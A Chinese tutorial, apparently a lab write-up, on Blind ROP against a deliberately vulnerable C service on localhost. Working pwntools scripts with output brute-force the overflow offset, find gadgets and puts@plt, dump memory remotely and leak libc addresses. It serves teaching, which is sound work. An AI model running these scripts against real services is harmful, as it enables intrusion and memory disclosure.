在无源码无elf的情况下实现pwn

漏洞代码如下(攻击者无法看到)

#include <stdio.h>
#include <unistd.h>
#include <string.h>
int i;
int check();
int main(void){
	setbuf(stdin,NULL);
	setbuf(stdout,NULL);
	setbuf(stderr,NULL);
    puts("WelCome my friend,Do you know password?");
	if(!check()){
        puts("Do not dump my memory");
	}else {
        puts("No password, no game");
	}
}
int check(){
    char buf[50];
    read(STDIN_FILENO,buf,1024);//读取用户输入的信息,这里存在栈溢出
    return strcmp(buf,"aslvkm;asd;alsfm;aoeim;wnv;lasdnvdljasd;flk");
}

编译

gcc -z noexecstack -fno-stack-protector  brop.c

checksec

python
>>> from pwn import *
>>> print ELF('a.out').checksec()
[*] '/root/sploitfun/brop/a.out'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

架起服务

ncat -vc ./a.out -kl 127.0.0.1 4000

BROP 原理及题目解析

BROP 即 Blind ROP,需要我们在无法获得二进制文件的情况下,通过 ROP 进行远程攻击,劫持该应用程序的控制流,可用于开启了 ASLR、NX 和栈 canary 的 64-bit Linux。

实现这一攻击有两个必要条件:

  • 目标程序存在一个栈溢出漏洞,并且我们知道怎样去触发它
  • 目标进程在崩溃后会立即重启,并且重启后进程被加载的地址不变,这样即使目标机器开启了 ASLR 也没有影响。

查看offset(竟然用这种方法)

from pwn import *

def get_buffer_size():
    for i in range(100):
        payload = "A"
        payload += "A" * i
        buf_size = len(payload) - 1    #崩溃意味着我们覆盖到了返回地址,所以缓冲区应该是发送的字符数减一,即 buf(64)+ebp(8)=72
        try:
            p = remote('127.0.0.1', 4000)
            p.recvline()
            p.send(payload)
            p.recv()
            p.close()
            log.info("bad: %d" % buf_size)
        except EOFError as e:
            p.close()
            log.info("buffer size: %d" % buf_size)
            return buf_size

get_buffer_size()

结果

[+] Opening connection to 127.0.0.1 on port 4000: Done
[*] Closed connection to 127.0.0.1 port 4000
[*] buffer size: 72
stop gadget

在寻找通用 gadget 之前,我们需要一个 stop gadget。一般情况下,当我们把返回地址覆盖后,程序有很大的几率会挂掉,因为所覆盖的地址可能并不是合法的,所以我们需要一个能够使程序正常返回的地址,称作 stop gadget,这一步至关重要。stop gadget 可能不止一个,这里我们之间返回找到的第一个好了:

from pwn import *


def get_stop_addr(buf_size):
   addr = 0x400000
   while True:
      sleep(0.1)
      addr += 1
      payload = "A" * buf_size
      payload += p64(addr)
      try:
         p = remote('127.0.0.1', 4000)
         p.recvline()
         p.sendline(payload)
         p.recvline()
         p.close()
         log.info("stop address: 0x%x" % addr)
         return addr
      except EOFError as e:
         p.close()
         log.info("bad: 0x%x" % addr)
      except:
         log.info("Can't connect")
         addr -= 1

get_stop_addr(72)

最后结果

[*] Closed connection to 127.0.0.1 port 4000
[*] stop address: 0x400565
common gadget

(gadget address:0x4007ba‬)

gdb-peda$ x/7i 0x4007ba
   0x4007ba <__libc_csu_init+90>:	pop    rbx
   0x4007bb <__libc_csu_init+91>:	pop    rbp
   0x4007bc <__libc_csu_init+92>:	pop    r12
   0x4007be <__libc_csu_init+94>:	pop    r13
   0x4007c0 <__libc_csu_init+96>:	pop    r14
   0x4007c2 <__libc_csu_init+98>:	pop    r15
   0x4007c4 <__libc_csu_init+100>:	ret    
gdb-peda$ x/7i 0x4007bb
   0x4007bb <__libc_csu_init+91>:	pop    rbp
   0x4007bc <__libc_csu_init+92>:	pop    r12
   0x4007be <__libc_csu_init+94>:	pop    r13
   0x4007c0 <__libc_csu_init+96>:	pop    r14
   0x4007c2 <__libc_csu_init+98>:	pop    r15
   0x4007c4 <__libc_csu_init+100>:	ret    
   0x4007c5:	nop
gdb-peda$ x/7i 0x4007bc
   0x4007bc <__libc_csu_init+92>:	pop    r12
   0x4007be <__libc_csu_init+94>:	pop    r13
   0x4007c0 <__libc_csu_init+96>:	pop    r14
   0x4007c2 <__libc_csu_init+98>:	pop    r15
   0x4007c4 <__libc_csu_init+100>:	ret    

有了 stop gadget,那些原本会导致程序崩溃的地址还是一样会导致崩溃,但那些正常返回的地址则会通过 stop gadget 进入被挂起的状态。下面我们就可以寻找其他可利用的 gadget,由于是 64 位程序,可以考虑使用通用 gadget

#!/usr/bin/env python
from pwn import *
import time
gardet = 0x400700
# gardet = 0x4007ba
# gardet = 0x400565
while True:
    # context.log_level('error')
    time.sleep(0.5)
    print gardet
    try:
        gardet+=1
        payload = "A" * 72
        payload += p64(gardet)
        payload += p64(1) + p64(2) + p64(3) + p64(4) + p64(5) + p64(6)
        payload += p64(0x400565)
        p = remote('127.0.0.1', 4000)
        p.recvline()
        p.sendline(payload)
        p.recvline(timeout=0.2)
        p.close()
        print 'first done' + str(gardet)
        try:  # check
            payload = "A" * 72
            payload += p64(gardet)
            payload += p64(1) + p64(2) + p64(3) + p64(4) + p64(5) + p64(6)
            p = remote('127.0.0.1', 4000)
            p.recvline()
            p.sendline(payload)
            p.recvline(timeout=0.2)
            p.close()
            print 'second error' + str(gardet)
        except:
            print 'second done!!!!!!!!!!!!!!!!!!!!!!!!' + str(gardet)
	    exit()

    except Exception as e:
        print e

结果

[+] Opening connection to 127.0.0.1 on port 4000: Done
[*] Closed connection to 127.0.0.1 port 4000
first done4196282
[+] Opening connection to 127.0.0.1 on port 4000: Done
second done!!!!!!!!!!!!!!!!!!!!!!!!4196282

有了通用 gadget,就可以得到 pop rdi; ret 的地址了,即 gadget address + 9

puts@plt

plt 表具有比较规整的结构,每一个表项都是 16 字节,而在每个表项的 6 字节偏移处,是该表项对应函数的解析路径,所以先得到 plt 地址,然后 dump 出内存,就可以找到 got 地址。

这里我们使用 puts 函数来 dump 内存,比起 write,它只需要一个参数,很方便:

from pwn import *

def get_puts_plt(buf_size, stop_addr):
    pop_rdi = 0x4007c3      # pop rdi; ret;
    addr = stop_addr
    while True:
        sleep(0.1)
        addr += 1

        payload  = "A"*buf_size
        payload += p64(pop_rdi)
        payload += p64(0x400000)
        payload += p64(addr)
        payload += p64(stop_addr)
        try:
            p = remote('127.0.0.1', 4000)
            p.recvline()
            p.sendline(payload)
            if p.recv().startswith("\x7fELF"):
                log.info("puts@plt address: 0x%x" % addr)
                p.close()
                return addr
            log.info("bad: 0x%x" % addr)
            p.close()
        except EOFError as e:
            p.close()
            log.info("bad: 0x%x" % addr)
        except:
            log.info("Can't connect")
            addr -= 1

get_puts_plt(72,0x400565)

这里让 puts 打印出 0x400000 地址处的内容,因为这里通常是程序头的位置(关闭PIE),且前四个字符为 \x7fELF,方便进行验证。

[+] Opening connection to 127.0.0.1 on port 4000: Done
[*] puts@plt address: 0x400567
[*] Closed connection to 127.0.0.1 port 4000

成功找到一个地址,它确实调用 puts,打印出了 \x7fELF,那它真的就是 puts@plt 的地址吗,不一定,看一下呗,反正我们有二进制文件。

gdb-peda$ x/3i 0x400570
   0x400570 <puts@plt>:	jmp    QWORD PTR [rip+0x200aa2]        # 0x601018
   0x400576 <puts@plt+6>:	push   0x0
   0x40057b <puts@plt+11>:	jmp    0x400560

这是由于上边的payload虽然执行puts,找出了ELF,但是puts上还有其他指令,但由于没有影响到程序运行,所以执行成功,所以打印出了不太准确的puts地址

remote dump

有了 puts,有了 gadget,就可以着手 dump 程序了:

from pwn import *


def dump_memory(buf_size, stop_addr, puts_plt, start_addr, end_addr):
    pop_rdi = 0x4007c3  # pop rdi; ret

    result = ""
    while start_addr < end_addr:
        # print result.encode('hex')
        sleep(0.1)
        payload = "A" * buf_size
        payload += p64(pop_rdi)
        payload += p64(start_addr)
        payload += p64(puts_plt)
        payload += p64(stop_addr)
        try:
            p = remote('127.0.0.1', 4000)
            p.recvline()
            p.sendline(payload)
            data = p.recv(timeout=0.1)  # timeout makes sure to recive all bytes
            if data == "\n":
                data = "\x00"
            elif data[-1] == "\n":
                data = data[:-1]
            log.info("leaking: 0x%x --> %s" % (start_addr, (data or '').encode('hex')))
            result += data
            start_addr += len(data)
            p.close()
        except:
            log.info("Can't connect")
    with open("code.bin", "wb") as f:
        f.write(result)
        f.close()
    return result

dump_memory(72, 0x400565, 0x400570, 0x400000, 0x401000)

使用r2打开这个文件

r2 -B 0x400000 code.bin
 -- In visual mode press 'c' to toggle the cursor mode. Use tab to navigate
[0x004005d0]> pd 14 @ 0x400567
     ::::   0x00400567      25a40a2000     and eax, 0x200aa4
     ::::   0x0040056c      0f1f4000       nop dword [rax]
     ::::   0x00400570      ff25a20a2000   jmp qword [reloc.puts]      ; [0x601018:8]=0
     ::::   0x00400576      6800000000     push 0
     `====< 0x0040057b      e9e0ffffff     jmp 0x400560
      :::   0x00400580      ff259a0a2000   jmp qword [reloc.setbuf]    ; [0x601020:8]=0
      :::   0x00400586      6801000000     push 1                      ; 1
      `===< 0x0040058b      e9d0ffffff     jmp 0x400560
       ::   0x00400590      ff25920a2000   jmp qword [reloc.read]      ; [0x601028:8]=0
       ::   0x00400596      6802000000     push 2                      ; 2
       `==< 0x0040059b      e9c0ffffff     jmp 0x400560
        :   0x004005a0      ff258a0a2000   jmp qword [reloc.__libc_start_main] ; [0x601030:8]=0
        :   0x004005a6      6803000000     push 3                      ; 3
        `=< 0x004005ab      e9b0ffffff     jmp 0x400560
[0x004005d0]> pd 14 @ 0x400570
     ::::   0x00400570      ff25a20a2000   jmp qword [reloc.puts]      ; [0x601018:8]=0
     ::::   0x00400576      6800000000     push 0
     `====< 0x0040057b      e9e0ffffff     jmp 0x400560
      :::   0x00400580      ff259a0a2000   jmp qword [reloc.setbuf]    ; [0x601020:8]=0
      :::   0x00400586      6801000000     push 1                      ; 1
      `===< 0x0040058b      e9d0ffffff     jmp 0x400560
       ::   0x00400590      ff25920a2000   jmp qword [reloc.read]      ; [0x601028:8]=0
       ::   0x00400596      6802000000     push 2                      ; 2
       `==< 0x0040059b      e9c0ffffff     jmp 0x400560
        :   0x004005a0      ff258a0a2000   jmp qword [reloc.__libc_start_main] ; [0x601030:8]=0
        :   0x004005a6      6803000000     push 3                      ; 3
        `=< 0x004005ab      e9b0ffffff     jmp 0x400560
            0x004005b0      ff25820a2000   jmp qword [reloc.strcmp]    ; [0x601038:8]=0
            0x004005b6      6804000000     push 4                      ; 4

于是我们就得到了 puts@got 地址 0x00601018。可以看到该表中还有其他几个函数,根据程序的功能大概可以猜到,无非就是 setbuf、read 之类的,在后面的过程中如果实在无法确定 libc,这些信息可能会有用。

查找puts中got的地址

from pwn import *

def get_puts_addr(buf_size, stop_addr, puts_plt, puts_got):
    pop_rdi  = 0x4007c3

    payload  = "A"*buf_size
    payload += p64(pop_rdi)
    payload += p64(puts_got)
    payload += p64(puts_plt)
    payload += p64(stop_addr)

    p = remote('127.0.0.1', 4000)
    p.recvline()
    p.sendline(payload)
    data = p.recvline()
    data = u64(data[:-1] + '\x00\x00')
    log.info("puts address: 0x%x" % data)
    p.close()
    return data

get_puts_addr(72, 0x400565, 0x400570, 0x601018)

结果

[+] Opening connection to 127.0.0.1 on port 4000: Done
[*] puts address: 0x7ffff7a7d660
[*] Closed connection to 127.0.0.1 port 4000